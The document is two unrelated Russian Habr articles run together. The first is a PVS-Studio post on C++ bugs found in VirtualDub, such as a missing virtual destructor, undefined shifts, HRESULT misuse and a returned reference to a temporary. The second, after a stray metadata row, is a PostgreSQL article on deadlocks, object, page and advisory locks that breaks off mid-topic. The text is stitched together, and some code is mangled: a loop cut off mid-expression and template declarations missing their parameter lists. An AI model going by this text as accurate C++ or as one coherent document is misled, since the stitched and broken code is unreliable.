Только что, я сел и проверил проект VirtualDub с помощью PVS-Studio. Выбор был случаен. Я считаю, самое главное регулярно проверять/перепроверять различные проекты, чтобы показать, как развивается анализатор кода PVS-Studio. А какой проект будет проверен, не так важно. Ошибки есть везде. Проект VirtualDub мы уже проверяли в 2011 году, но тогда почти ничего интересного не нашлось. Вот я и решил посмотреть, как обстоят дела, спустя 2 года.
Я скачал с сайта [VirtualDub](http://www.viva64.com/go.php?url=1307) архив VirtualDub-1.10.3-src.7z. Для анализа я использовал [PVS-Studio](http://www.viva64.com/ru/pvs-studio-download/) версии 5.10. На анализ я потратил около часа, так что не судите строго. Наверняка, я что-то пропустил. И наоборот, мог поcчитать корректный код за подозрительный. Прошу, тех, кто поддерживает проект VirtualDub не полагаться на мой отчет, а произвести самостоятельную проверку. Мы всегда [идём на встречу](http://www.viva64.com/ru/b/0193/) open-source сообществу и готовы выделить регистрационный ключ.
Ещё я хочу попросить Эвери Ли отнестись к этой статье с пониманием. В прошлый раз, он [очень болезненно](http://www.viva64.com/go.php?url=756) воспринял упоминание VirtualDub в одной из моих статей. Я вовсе не хотел, и не хочу сказать, что какая-то программа является глючной. [Программные ошибки есть везде](http://www.viva64.com/ru/examples/). Моя цель показать пользу, которую может давать использование статического анализа кода. Попутно, это сделает open-source проекты немного надёжнее. Это замечательно.
Конечно, разовые проверки малоэффективны. Но с этим, к сожалению, я ничего поделать не могу. Использовать или не использовать регулярно инструменты статического анализа, зависит от разработчиков. Я только могу пытаться объяснить, в чем польза регулярного использования. Вот одна из интересных заметок на эту тему: [Лев Толстой и статический анализ кода](http://www.viva64.com/ru/b/0105/).
Впрочем, эта статья про ошибки, а не методологию использования статического анализа. Давайте посмотрим, что нового интересного нашел анализатор PVS-Studio в VirtualDub.
Виртуальные деструкторы
-----------------------
В языке программирования C++ деструктор полиморфного базового класса должен объявляться виртуальным. Только так обеспечивается корректное разрушение объекта производного класса через указатель на соответствующий базовый класс.
Я знаю, что все это знают. Однако это не мешает забыть объявить деструктор виртуальным.
В VirtualDub есть класс VDDialogBaseW32:
```
class VDDialogBaseW32 {
....
~VDDialogBaseW32();
....
virtual INT_PTR DlgProc(....) = 0;
virtual bool PreNCDestroy();
....
}
```
Как видите, он содержит виртуальные функции. Однако деструктор не объявлен виртуальным. Естественно, он него наследуются классы. Например, VDDialogAudioFilterFormatConvConfig:
```
class VDDialogAudioFilterFormatConvConfig :
public VDDialogBaseW32
{ .... };
```
Ошибка уничтожения объекта выглядит вот так:
```
INT_PTR CALLBACK VDDialogBaseW32::StaticDlgProc(....) {
VDDialogBaseW32 *pThis =
(VDDialogBaseW32 *)GetWindowLongPtr(hwnd, DWLP_USER);
....
delete pThis;
....
}
```
Предупреждение выданное PVS-Studio: V599 The destructor was not declared as a virtual one, although the 'VDDialogBaseW32' class contains virtual functions. VirtualDub gui.cpp 997
Как видите, для уничтожения объекта используется указатель на базовый класс. Такое удаление объекта приведет к неопределенному поведению программы.
Аналогичная беда существует и с классом VDMPEGAudioPolyphaseFilter.
Ещё о неопределённом поведении
------------------------------
По поводу ошибок, связанных с виртуальным деструктором, вопросов не возникает. Намного более скользкой темой являются операции сдвига. Вот один из таких примеров:
```
void AVIVideoGIFOutputStream::write(....) {
{
....
for(int i=0; i
```
Можно сколько угодно утверждать, что это совершенно надёжный код, который успешно используется уже больше 10 лет. Однако, всё равно, здесь мы имеем дело с неопределенным поведением программы. Вот что стандарт говорит на тему таких конструкций:
*The shift operators << and >> group left-to-right.*
*shift-expression << additive-expression*
*shift-expression >> additive-expression*
*The operands shall be of integral or unscoped enumeration type and integral promotions are performed.*
*1. The type of the result is that of the promoted left operand. The behavior is undefined if the right operand is negative, or greater than or equal to the length in bits of the promoted left operand.*
*2. The value of E1 << E2 is E1 left-shifted E2 bit positions; vacated bits are zero-filled. If E1 has an unsigned type, the value of the result is E1 \* 2^E2, reduced modulo one more than the maximum value representable in the result type.* ***Otherwise, if E1 has a signed type and non-negative value, and E1\*2^E2 is representable in the result type, then that is the resulting value; otherwise, the behavior is undefined.***
*3. The value of E1 >> E2 is E1 right-shifted E2 bit positions. If E1 has an unsigned type or if E1 has a signed type and a non-negative value, the value of the result is the integral part of the quotient of E1/2^E2****. If E1 has a signed type and a negative value, the resulting value is implementation-defined.***
То, что код работает, это везение. При осваивании нового компилятора или других ключей для оптимизации, программа может неожиданно изменить своё поведение. Подробнее про сдвиги и о том, стоит или не стоит править код, можно почитать в статье "[Не зная брода, не лезь в воду. Часть третья](http://www.viva64.com/ru/b/0142/)".
Вот полный [список мест](http://www.viva64.com/external-pictures/txt/VirtualDub-ub.txt), где анализатор PVS-Studio обнаружил Undefined behavior или Unspecified behavior в проекте VirtualDub.
Опечатки
--------
```
static ModuleInfo *CrashGetModules(void *&ptr) {
....
while(*pszHeap++);
if (pszHeap[-1]=='.')
period = pszHeap-1;
....
}
```
Диагностическое сообщение выданное PVS-Studio: V529 Odd semicolon ';' after 'while' operator. VirtualDub crash.cpp 462
Обратите внимание на точку с запятой, стоящую после 'while'. Здесь или ошибка или код неверно отформатирован. Я думаю, это именно ошибка. Цикл «while(\*pszHeap++);» пройдет до конца строки и в результате, переменная 'pszHeap' будет указывать на память [после терминального нуля](http://www.viva64.com/ru/t/0088/). Проверка «if (pszHeap[-1]=='.')» не имеет смысла. По адресу «pszHeap[-1]» всегда находится терминальный ноль.
Рассмотрим другую опечатку, при работе со строками.
```
void VDBackfaceService::Execute(...., char *s) {
....
if (*s == '"') {
while(*s && *s != '"')
++s;
} else {
....
}
```
Диагностическое сообщение выданное PVS-Studio: V637 Two opposite conditions were encountered. The second condition is always false. Check lines: 183, 184. VirtualDub backface.cpp 183
Этот код должен пропустить всё, что содержится в кавычках. По крайней мере, мне так кажется. Однако, условие (\*s && \*s != '"') сразу является ложным. Возможно, код должен был выглядеть так:
```
if (*s == '"') {
++s;
while(*s && *s != '"')
++s;
}
```
Оператор new генерирует исключения при ошибке выделения памяти
--------------------------------------------------------------
В старом коде, часто можно встретить проверку того, что вернул оператор new. Выглядит это так:
```
int *p = new int[10];
if (!p)
return false;
```
Современные компиляторы, поддерживающие стандарт языка Си++, должны сгенерировать исключение, если не удалось выделить память. Можно сделать, чтобы оператор 'new' не генерировал исключения, но к рассматриваемым случаям, сейчас это отношения не имеет.
Таким образом, проверка if (!p) является лишней. В целом такой код безобиден. Лишняя проверка. Ничего страшного.
Однако старый код может привести к неприятным последствиям. Рассмотрим фрагмент из проекта VirtualDub.
```
void HexEditor::Find(HWND hwndParent) {
....
int *next = new int[nFindLength+1];
char *searchbuffer = new char[65536];
char *revstring = new char[nFindLength];
....
if (!next || !searchbuffer || !revstring) {
delete[] next;
delete[] searchbuffer;
delete[] revstring;
return;
}
....
}
```
Диагностическое сообщение выданное PV-Studio: V668 There is no sense in testing the 'next' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. VirtualDub hexviewer.cpp 2012
Если в строке «char \*revstring = new char[nFindLength];» возникнет исключение, то произойдет утечка памяти. Операторы delete[] не будут вызваны. Не критичная ошибка, но всё равно стоит про неё упомянуть.
[Здесь](http://www.viva64.com/external-pictures/txt/VirtualDub-new.txt), перечислены все места, где в VirtualDub проверяется указатель после вызова оператора 'new'.
Ссылка на уничтоженный объект
-----------------------------
```
vdlist_iterator& operator--(int) {
vdlist_iterator tmp(*this);
mp = mp->mListNodePrev;
return tmp;
}
```
Диагностическое сообщение выданное PVS-Studio: V558 Function returns the reference to temporary local object: tmp. VirtualDub vdstl.h 460
Функция реализована неправильно. Она возвращает ссылку на локальный объект 'tmp'. После выхода из функции, он будет уже разрушен. Работа с этой ссылкой, приведёт к неопределенному поведению.
Кстати, оператор ++, находящийся рядом, реализован правильно.
В начале используем, потом проверяем
------------------------------------
В разных программах, часто можно встретить ошибку, когда указатель сначала разыменовывается, а уже только потом, сравнивается с NULL. Такие ошибки не проявляют себя очень долгое время, так как равенство указателя NULL, это нештатная редкая ситуация. Эти недочёты, существуют и в коде VirtualDub. Пример:
```
LRESULT YUVCodec::DecompressGetFormat(BITMAPINFO *lpbiInput,
BITMAPINFO *lpbiOutput)
{
BITMAPINFOHEADER *bmihInput = &lpbiInput->bmiHeader;
BITMAPINFOHEADER *bmihOutput = &lpbiOutput->bmiHeader;
LRESULT res;
if (!lpbiOutput)
return sizeof(BITMAPINFOHEADER);
....
}
```
Диагностическое сообщение выданное PVS-Studio: V595 The 'lpbiOutput' pointer was utilized before it was verified against nullptr. Check lines: 82, 85. VirtualDub yuvcodec.cpp 82
В начале указатель «lpbiOutput» разыменовывается. Затем проверяется: «if (!lpbiOutput)». Такие ошибка обычно возникаю в процессе рефакторинга. Новый код вставляется до нужных проверок. Чтобы исправить приведённый код, нужно поменять последовательность действий:
```
LRESULT YUVCodec::DecompressGetFormat(BITMAPINFO *lpbiInput,
BITMAPINFO *lpbiOutput)
{
if (!lpbiOutput)
return sizeof(BITMAPINFOHEADER);
BITMAPINFOHEADER *bmihInput = &lpbiInput->bmiHeader;
BITMAPINFOHEADER *bmihOutput = &lpbiOutput->bmiHeader;
LRESULT res;
....
}
```
Другие места, где анализатор выдает предупреждение V595, перечислены [здесь](http://www.viva64.com/external-pictures/txt/VirtualDub-595.txt).
Работа с типом HRESULT
----------------------
```
VDPosition AVIReadTunnelStream::TimeToPosition(VDTime timeInUs) {
AVISTREAMINFO asi;
if (AVIStreamInfo(pas, &asi, sizeof asi))
return 0;
return VDRoundToInt64(timeInUs * (double)asi.dwRate /
(double)asi.dwScale * (1.0 / 1000000.0));
}
```
Диагностическое сообщение выданное PVS-Studio: V545 Such conditional expression of 'if' operator is incorrect for the HRESULT type value 'AVIStreamInfoA(pas, & asi, sizeof asi)'. The SUCCEEDED or FAILED macro should be used instead. VirtualDub avireadhandlertunnelw32.cpp 230
Функция AVIStreamInfo() возвращает значение типа HRESULT. Этот тип нельзя интерпретировать как 'bool'. Информация, хранящаяся в переменной типа HRESULT, имеет достаточно [сложную структуру](http://www.viva64.com/go.php?url=422). Для проверки значения HRESULT необходимо использовать макрос SUCCEEDED или FAILED, объявленные в «WinError.h». Вот как устроены эти макросы:
```
#define FAILED(hr) (((HRESULT)(hr)) < 0)
#define SUCCEEDED(hr) (((HRESULT)(hr)) >= 0)
```
Правильный вариант кода:
```
if (FAILED(AVIStreamInfo(pas, &asi, sizeof asi)))
```
Аналогичные предупреждения PVS-Studio выдаёт на следующие строки:* avireadhandlertunnelw32.cpp 238
* avireadhandlertunnelw32.cpp 335
* inputfileavi.cpp 440
* context\_d3d11.cpp 959
Магические числа
----------------
Задание длины строки с помощью числа не очень хорошая идея. Очень легко ошибиться, подсчитывая символы. Пример:
```
bool VDOpenGLBinding::Attach(....) {
....
if (!memcmp(start, "GL_EXT_blend_subtract", 20))
....
}
```
Диагностическое сообщение выданное PVS-Studio: V512 A call of the 'memcmp' function will lead to underflow of the buffer '«GL\_EXT\_blend\_subtract»'. Riza opengl.cpp 393
Длина строки «GL\_EXT\_blend\_subtract» не 20, а 21 символ. Ошибка некритична. На практике коллизий не возникнет. Тем не менее, следует избегать таких магических чисел. Лучше использовать специальный макрос для подсчета длины строки. Пример:
```
#define LiteralStrLen(S) (sizeof(S) / sizeof(S[0]) - 1)
```
В Си++ можно сделать более безопасную шаблонную функцию:
```
template
char (&ArraySizeHelper(T (&array)[N]))[N];
template
size\_t LiteralStrLen(T (&array)[N]) {
return sizeof(ArraySizeHelper(array)) - 1;
}
```
Преимущество второго варианта — нельзя случайно передать в качестве аргумента простой указатель. Подробнее этот приём описан в статье "[PVS-Studio vs Chromium](http://www.viva64.com/ru/a/0074/)".
Абсолютные пути
---------------
```
VDDbgHelpDynamicLoaderW32::VDDbgHelpDynamicLoaderW32()
{
hmodDbgHelp = LoadLibrary(
"c:\\program files\\debugging tools for windows\\dbghelp");
if (!hmodDbgHelp) {
hmodDbgHelp = LoadLibrary("c:\\program files (x86)\\......
....
}
```
Диагностическое сообщение выданное PVS-Studio: V631 Consider inspecting the 'LoadLibraryA' function call. Defining an absolute path to the file or directory is considered a poor style. VirtualDub leaks.cpp 67, 69
Думаю понятно, чем этот код плох. Конечно, код связан с отладкой, и вряд ли как-то негативно скажется на конечных пользователях. Но всё равно, было бы лучше [получить правильный путь](http://www.viva64.com/go.php?url=1308) до Program Files.
Неправильный аргумент
---------------------
```
sint64 rva;
void tool_lookup(....) {
....
printf("%08I64x %s + %x [%s:%d]\n",
addr, sym->name, addr-sym->rva, fn, line);
....
}
```
Диагностическое сообщение выданное PVS-Studio: V576 Incorrect format. Consider checking the fourth actual argument of the 'printf' function. The argument is expected to be not greater than 32-bit. Asuka lookup.cpp 56
Переменная 'rva' является 64-битным типом. Это значит, что в стек будет помещено 8 байт. Функция printf() является функцией с [переменным количеством аргументов](http://www.viva64.com/ru/t/0069/). Тип данных, которые она должна обработать, задаётся с помощью строки форматирования. В данном случае, переменная 'rva' будет обработана как 32-битная переменная ("%x").
Приведёт данная ошибка к сбою или нет, зависит от того, как организует передачу аргументов компилятор и от разрядности платформы. Например, в [Win64](http://www.viva64.com/ru/t/0055/) все целочисленные типы вначале приводятся к 64-битному типу, и уже затем помещаются в стек. Проблемы, что переменная займет в стеке больше места, чем надо, не будет.
Впрочем, если переменная 'rva' хранит значения более INT\_MAX, её значение в любом случае будет распечатано некорректно.
Аналогичные предупреждения анализатор выдаёт здесь:* dubstatus.cpp 360
* lookup.cpp 58
Неправильные сравнения
----------------------
```
void VDVideoCompressorVCM::GetState(vdfastvector& data) {
DWORD res;
....
res = ICGetState(hic, data.data(), size);
....
if (res < 0)
throw MyICError("Video compression", res);
}
```
Диагностическое сообщение выданное PVS-Studio: V547 Expression 'res < 0' is always false. Unsigned type value is never < 0. Riza w32videocodecpack.cpp 828
Переменная 'res' имеем беззнаковый тип DWORD. Это значит, что выражение «res < 0» всегда равно значению 'false'.
Аналогичная проверка содержится здесь: w32videocodec.cpp 284.
Рассмотрим ещё одну схожую ошибку.
```
#define ICERR_CUSTOM -400L
static const char *GetVCMErrorString(uint32 icErr) {
....
if (icErr <= ICERR_CUSTOM) err = "A codec-specific error occurred.";
....
}
```
Диагностическое сообщение выданное PVS-Studio: V605 Consider verifying the expression: icErr <= — 400L. An unsigned value is compared to the number -400. system error\_win32.cpp 54
Переменная ' icErr' имеет тип 'unsigned'. Следовательно, перед сравнением число '-400' будет неявно преобразовано в 'unsigned'. Значение '-400' превратится в 4294966896. Таким образом, сравнение (icErr <= -400) эквивалентно (icErr <= 4294966896). По всей видимости, это не то, что хотел программист.
Разное странное
---------------
```
void AVIOutputFile::finalize() {
....
if (stream.mChunkCount && hdr.dwScale && stream.mChunkCount)
....
}
```
Диагностическое сообщение выданное PVS-Studio: V501 There are identical sub-expressions 'stream.mChunkCount' to the left and to the right of the '&&' operator. VirtualDub avioutputfile.cpp 761
Два раза проверяется переменная 'stream.mChunkCount'. Одна проверка лишняя или забыли проверить что-то ещё.
```
void VDVideoCompressorVCM::Start(const void *inputFormat,
uint32 inputFormatSize,
const void *outputFormat,
uint32 outputFormatSize,
const VDFraction& frameRate,
VDPosition frameCount)
{
this->hic = hic;
....
}
```
Диагностическое сообщение выданное PVS-Studio: V570 The 'this->hic' variable is assigned to itself. Riza w32videocodecpack.cpp 253
```
void VDDialogAudioConversionW32::RecomputeBandwidth() {
....
if (IsDlgButtonChecked(mhdlg, IDC_PRECISION_NOCHANGE)) {
if (mbSourcePrecisionKnown && mbSource16Bit)
bps *= 2;
else
bps = 0;
} if (IsDlgButtonChecked(mhdlg, IDC_PRECISION_16BIT))
bps *= 2;
....
}
```
Диагностическое сообщение выданное PVS-Studio: V646 Consider inspecting the application's logic. It's possible that 'else' keyword is missing. VirtualDub optdlg.cpp 120
Возможно, код неправильно отформатирован. А возможно, забыто ключевое слово 'else'.
```
bool VDCaptureDriverScreen::Init(VDGUIHandle hParent) {
....
mbAudioHardwarePresent = false;
mbAudioHardwarePresent = true;
....
}
```
Диагностическое сообщение выданное PVS-Studio: V519 The 'mbAudioHardwarePresent' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 274, 275. VDCapture cap\_screen.cpp 275
Заключение
----------
Как видите, даже при разовом запуске, статический анализ может быть полезен. Но намного полезнее запускать его регулярно. Ведь предупреждения (warnings) в компиляторе, программисты включают не один раз перед релизом, а пользуются ими постоянно. Та же самая ситуация и с инструментами статического анализа. Постоянное их использование позволяет оперативно устранять ошибки. Можно рассматривать PVS-Studio как некую надстройку над компилятором, которая выдаёт больше интересных предупреждений. Наилучший вариант, это использование [инкрементального анализа](http://www.viva64.com/ru/d/0218/) кода. Вы обнаружите новые ошибки сразу после компиляции измененных файлов. | https://habr.com/ru/post/198060/ | null | ru | null |
# Блокировки в PostgreSQL: 3. Блокировки других объектов
Мы уже поговорили о некоторых [блокировках на уровне объектов](https://habr.com/ru/company/postgrespro/blog/462877/) (в частности — о блокировках отношений), а также о [блокировках на уровне строк](https://habr.com/ru/company/postgrespro/blog/463819/), их связи с блокировками объектов и об очереди ожидания, не всегда честной.
Сегодня у нас сборная солянка. Начнем с **взаимоблокировок** (вообще-то я собирался рассказать о них еще в прошлый раз, но та статья и так получилась неприлично длинной), затем пробежимся по оставшимся **блокировкам объектов**, и в заключение поговорим про **предикатные блокировки**.
Взаимоблокировки
================
При использовании блокировок возможна ситуация *взаимоблокировки* (или *тупика*). Она возникает, когда одна транзакция пытается захватить ресурс, уже захваченные другой транзакцией, в то время как другая транзакция пытается захватить ресурс, захваченный первой. Это проиллюстрировано на левом рисунке ниже: сплошные стрелки показывают захваченные ресурсы, пунктирные — попытки захватить уже занятый ресурс.
Визуально взаимоблокировку удобно представлять, построив граф ожиданий. Для этого мы убираем конкретные ресурсы и оставляем только транзакции, отмечая, какая транзакция какую ожидает. Если в графе есть контур (из вершины можно по стрелкам добраться до нее же самой) — это взаимоблокировка.
Конечно, взаимоблокировка возможна не только для двух транзакций, но и для любого большего числа.
Если взаимоблокировка возникла, участвующие в ней транзакции не могут ничего с этим сделать — они будут ждать бесконечно. Поэтому все СУБД, и PostgreSQL тоже, автоматически отслеживают взаимоблокировки.
Однако проверка требует определенных усилий, которые не хочется прилагать всякий раз, когда запрашивается новая блокировка (все-таки взаимоблокировки достаточно редки). Поэтому когда процесс пытается захватить блокировку и не может, он встает в очередь и засыпает, но взводит таймер на значение, указанное в параметре *deadlock\_timeout* (по умолчанию — 1 секунда). Если ресурс освобождается раньше, то и хорошо, мы сэкономили на проверке. А вот если по истечении *deadlock\_timeout* ожидание продолжается, тогда ожидающий процесс будет разбужен и инициирует проверку.
Если проверка (которая состоит в построении графа ожиданий и поиска в нем контуров) не выявила взаимоблокировок, то процесс продолжает спать — теперь уже до победного конца.
> Ранее в комментариях меня справедливо упрекнули в том, что я ничего не сказал про параметр *lock\_timeout*, который действует на любой оператор и позволяет избежать неопределенно долгого ожидания: если блокировку не удалось получить за указанное время, оператор завершается с ошибкой lock\_not\_available. Его не стоит путать с параметром *statement\_timeout*, который ограничивает общее время выполнения оператора, неважно, ожидает ли он блокировку или просто выполняет работу.
>
>
Если же взаимоблокировка выявлена, то одна из транзакций (в большинстве случаев — та, которая инициировала проверку) принудительно обрывается. При этом освобождаются захваченные ей блокировки и остальные транзакции могут продолжать работу.
Взаимоблокировки обычно означают, что приложение спроектировано неправильно. Обнаружить такие ситуации можно двумя способами: во-первых, будут появляться сообщения в журнале сервера, и во-вторых, будет увеличиваться значение pg\_stat\_database.deadlocks.
Пример взаимоблокировки
-----------------------
Обычная причина возникновения взаимоблокировок — разный порядок блокирования строк таблиц.
Простой пример. Первая транзакция намерена перенести 100 рублей с первого счета на второй. Для этого она сначала уменьшает первый счет:
```
=> BEGIN;
=> UPDATE accounts SET amount = amount - 100.00 WHERE acc_no = 1;
```
```
UPDATE 1
```
В это же время вторая транзакция намерена перенести 10 рублей со второго счета на первый. Она начинает с того, что уменьшает второй счет:
```
| => BEGIN;
| => UPDATE accounts SET amount = amount - 10.00 WHERE acc_no = 2;
```
```
| UPDATE 1
```
Теперь первая транзакция пытается увеличить второй счет, но обнаруживает, что строка заблокирована.
```
=> UPDATE accounts SET amount = amount + 100.00 WHERE acc_no = 2;
```
Затем вторая транзакция пытается увеличить первый счет, но тоже блокируется.
```
| => UPDATE accounts SET amount = amount + 10.00 WHERE acc_no = 1;
```
Возникает циклическое ожидание, который никогда не завершится само по себе. Через секунду первая транзакция, не получив доступ к ресурсу, инициирует проверку взаимоблокировки и обрывается сервером.
```
ERROR: deadlock detected
DETAIL: Process 16477 waits for ShareLock on transaction 530695; blocked by process 16513.
Process 16513 waits for ShareLock on transaction 530694; blocked by process 16477.
HINT: See server log for query details.
CONTEXT: while updating tuple (0,2) in relation "accounts"
```
Теперь вторая транзакция может продолжить работу.
```
| UPDATE 1
```
```
| => ROLLBACK;
```
```
=> ROLLBACK;
```
Правильный способ выполнения таких операций — блокирование ресурсов в одном и том же порядке. Например, в данном случае можно блокировать счета в порядке возрастания их номеров.
Взаимоблокировка двух команд UPDATE
-----------------------------------
Иногда можно получить взаимоблокировку там, где, казалось бы, ее быть никак не должно. Например, удобно и привычно воспринимать команды SQL как атомарные, но возьмем UPDATE — эта команда блокирует строки по мере их обновления. Это происходит не одномоментно. Поэтому если одна команда будет обновлять строки в одном порядке, а другая — в другом, они могут взаимозаблокироваться.
Получить такую ситуацию маловероятно, но тем не менее она может встретиться. Для воспроизведения мы создадим индекс по столбцу amount, построенный по убыванию суммы:
```
=> CREATE INDEX ON accounts(amount DESC);
```
Чтобы успеть увидеть происходящее, напишем функцию, увеличивающую переданное значение, но мееедленно-мееедленно, целую секунду:
```
=> CREATE FUNCTION inc_slow(n numeric) RETURNS numeric AS $$
SELECT pg_sleep(1);
SELECT n + 100.00;
$$ LANGUAGE SQL;
```
Еще нам понадобится расширение pgrowlocks.
```
=> CREATE EXTENSION pgrowlocks;
```
Первая команда UPDATE будет обновлять всю таблицу. План выполнения очевиден — последовательный просмотр:
```
| => EXPLAIN (costs off)
| UPDATE accounts SET amount = inc_slow(amount);
```
```
| QUERY PLAN
| ----------------------------
| Update on accounts
| -> Seq Scan on accounts
| (2 rows)
```
Поскольку версии строк на странице нашей таблицы лежат в порядке возрастания суммы (ровно так, как мы их добавляли), они и обновляться будут в том же порядке. Запускаем обновление работать.
```
| => UPDATE accounts SET amount = inc_slow(amount);
```
А в это время в другом сеансе мы запретим использование последовательного сканирования:
```
|| => SET enable_seqscan = off;
```
В этом случае для следующего оператора UPDATE планировщик решает использовать сканирование индекса:
```
|| => EXPLAIN (costs off)
|| UPDATE accounts SET amount = inc_slow(amount) WHERE amount > 100.00;
```
```
|| QUERY PLAN
|| --------------------------------------------------------
|| Update on accounts
|| -> Index Scan using accounts_amount_idx on accounts
|| Index Cond: (amount > 100.00)
|| (3 rows)
```
Под условие попадают вторая и третья строки, а, поскольку индекс построен по убыванию суммы, строки будут обновляться в обратном порядке.
Запускаем следующее обновление.
```
|| => UPDATE accounts SET amount = inc_slow(amount) WHERE amount > 100.00;
```
Быстрый взгляд в табличную страницу показывает, что первый оператор уже успел обновить первую строку (0,1), а второй — последнюю (0,3):
```
=> SELECT * FROM pgrowlocks('accounts') \gx
```
```
-[ RECORD 1 ]-----------------
locked_row | (0,1)
locker | 530699 <- первый
multi | f
xids | {530699}
modes | {"No Key Update"}
pids | {16513}
-[ RECORD 2 ]-----------------
locked_row | (0,3)
locker | 530700 <- второй
multi | f
xids | {530700}
modes | {"No Key Update"}
pids | {16549}
```
Проходит еще секунда. Первый оператор обновил вторую строку, а второй хотел бы это сделать, но не может.
```
=> SELECT * FROM pgrowlocks('accounts') \gx
```
```
-[ RECORD 1 ]-----------------
locked_row | (0,1)
locker | 530699 <- первый
multi | f
xids | {530699}
modes | {"No Key Update"}
pids | {16513}
-[ RECORD 2 ]-----------------
locked_row | (0,2)
locker | 530699 <- первый успел раньше
multi | f
xids | {530699}
modes | {"No Key Update"}
pids | {16513}
-[ RECORD 3 ]-----------------
locked_row | (0,3)
locker | 530700 <- второй
multi | f
xids | {530700}
modes | {"No Key Update"}
pids | {16549}
```
Теперь первый оператор хотел бы обновить последнюю строку таблицы, но она уже заблокирована вторым. Вот и взаимоблокировка.
Одна из транзакций прерывается:
```
|| ERROR: deadlock detected
|| DETAIL: Process 16549 waits for ShareLock on transaction 530699; blocked by process 16513.
|| Process 16513 waits for ShareLock on transaction 530700; blocked by process 16549.
|| HINT: See server log for query details.
|| CONTEXT: while updating tuple (0,2) in relation "accounts"
```
А другая завершает выполнение:
```
| UPDATE 3
```
> Занимательные подробности об обнаружении и предотвращении взаимоблокировок можно почерпнуть из [README менеджера блокировок](https://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/storage/lmgr/README;hb=HEAD).
>
>
На этом про взаимоблокировки все, а мы приступаем к оставшимся блокировкам объектов.
Блокировки не-отношений
=======================
Когда требуется заблокировать ресурс, не являющийся *отношением* в понимании PostgreSQL, используются блокировки типа object. Таким ресурсом может быть почти все, что угодно: табличные пространства, подписки, схемы, роли, перечислимые типы данных… Грубо говоря все, что только можно найти в системном каталоге.
Посмотрим на простом примере. Начинаем транзакцию и создаем в ней таблицу:
```
=> BEGIN;
=> CREATE TABLE example(n integer);
```
Теперь посмотрим, какие блокировки типа object появились в pg\_locks:
```
=> SELECT
database,
(SELECT datname FROM pg_database WHERE oid = l.database) AS dbname,
classid,
(SELECT relname FROM pg_class WHERE oid = l.classid) AS classname,
objid,
mode,
granted
FROM pg_locks l
WHERE l.locktype = 'object' AND l.pid = pg_backend_pid();
```
```
database | dbname | classid | classname | objid | mode | granted
----------+--------+---------+--------------+-------+-----------------+---------
0 | | 1260 | pg_authid | 16384 | AccessShareLock | t
16386 | test | 2615 | pg_namespace | 2200 | AccessShareLock | t
(2 rows)
```
Чтобы разобраться, что именно тут блокируется, надо смотреть на три поля: database, classid и objid. Начнем с первой строки.
Database — это OID базы данных, к которой относится блокируемый ресурс. В нашем случае в этом столбце ноль. Это означает, что мы имеем дело с глобальным объектом, который не принадлежит к какой-либо конкретной базе.
Classid содержит OID из pg\_class, который соответствует имени таблицы системного каталога, которая и определяет тип ресурса. В нашем случае — pg\_authid, то есть ресурсом является роль (пользователь).
Objid содержит OID из той таблицы системного каталога, которую нам указал classid.
```
=> SELECT rolname FROM pg_authid WHERE oid = 16384;
```
```
rolname
---------
student
(1 row)
```
Таким образом, заблокирована роль student, из-под которой мы работаем.
Теперь разберемся со второй строкой. База данных указана, и это база test, к которой мы подключены.
Classid указывает на таблицу pg\_namespace, которая содержит схемы.
```
=> SELECT nspname FROM pg_namespace WHERE oid = 2200;
```
```
nspname
---------
public
(1 row)
```
Таким образом, заблокирована схема public.
Итак, мы увидели, что при создании объекта блокируются (в разделяемом режиме) роль-владелец и схема, в которой создается объект. Что и логично: иначе кто-нибудь мог бы удалить роль или схему, пока транзакция еще не завершена.
```
=> ROLLBACK;
```
Блокировка расширения отношения
===============================
Когда число строк в отношении (то есть в таблице, индексе, материализованном представлении) растет, PostgreSQL может использовать для вставки свободное место в имеющихся страницах, но, очевидно, в какой-то момент приходится добавлять и новые страницы. Физически они добавляются в конец соответствующего файла. Это и понимается под *расширением отношения*.
Чтобы два процесса не кинулись добавлять страницы одновременно, этот процесс защищен специальной блокировкой с типом extend. Та же блокировка используется и при очистке индексов, чтобы другие процессы не могли добавлять страницы во время сканирования.
Конечно, эта блокировка снимается, не дожидаясь конца транзакции.
> Раньше таблицы расширялись только на одну страницу за раз. Это вызывало проблемы при одновременной вставке строк несколькими процессами, поэтому в версии PostgreSQL 9.6 сделали так, чтобы к таблицам добавлялось сразу несколько страниц (пропорционально числу ожидающих блокировку процессов, но не более 512).
>
>
Блокировка страниц
==================
Блокировка с типом page на уровне страницы применяется в единственном случае (если не считать предикатных блокировок, о которых позже).
[GIN-индексы](https://habr.com/ru/company/postgrespro/blog/340978/) позволяют ускорять поиск в составных значениях, например, слов в текстовых документах (или элементов в массивах). Такие индексы в первом приближении можно представить как обычное B-дерево, в котором хранятся не сами документы, а отдельные слова этих документов. Поэтому при добавлении нового документа индекс приходится перестраивать довольно сильно, внося в него каждое слово, входящее в документ.
Чтобы улучшить производительность, GIN-индексы обладают возможностью отложенной вставки, которая включается параметром хранения fastupdate. Новые слова сначала по-быстрому добавляются в неупорядоченный *список ожидания* (pending list), а спустя какое-то время все накопившееся перемещается в основную индексную структуру. Экономия происходит за счет того, что разные документы с большой вероятностью содержат повторяющиеся слова.
Чтобы исключить перемещение из списка ожидания в основной индекс одновременно несколькими процессами, на время переноса метастраница индекса блокируется в исключительном режиме. Это не мешает использованию индекса в обычном режиме.
Рекомендательные блокировки
===========================
В отличие от других блокировок (таких, как блокировки отношений), *рекомендательные блокировки* (advisory locks) никогда не устанавливаются автоматически, ими управляет разработчик приложения. Их удобно использовать, например, если приложению для каких-то целей требуется логика блокирования, не вписывающаяся в стандартную логику обычных блокировок.
Допустим, у нас есть условный ресурс, не соответствующий никакому объекту базы данных (который мы могли бы заблокировать командами типа SELECT FOR или LOCK TABLE). Нужно придумать для него числовой идентификатор. Если у ресурса есть уникальное имя, то простой вариант — взять от него хеш-код:
```
=> SELECT hashtext('ресурс1');
```
```
hashtext
-----------
243773337
(1 row)
```
Вот таким образом мы захватываем блокировку:
```
=> BEGIN;
=> SELECT pg_advisory_lock(hashtext('ресурс1'));
```
Как обычно, информация о блокировках доступна в pg\_locks:
```
=> SELECT locktype, objid, mode, granted
FROM pg_locks WHERE locktype = 'advisory' AND pid = pg_backend_pid();
```
```
locktype | objid | mode | granted
----------+-----------+---------------+---------
advisory | 243773337 | ExclusiveLock | t
(1 row)
```
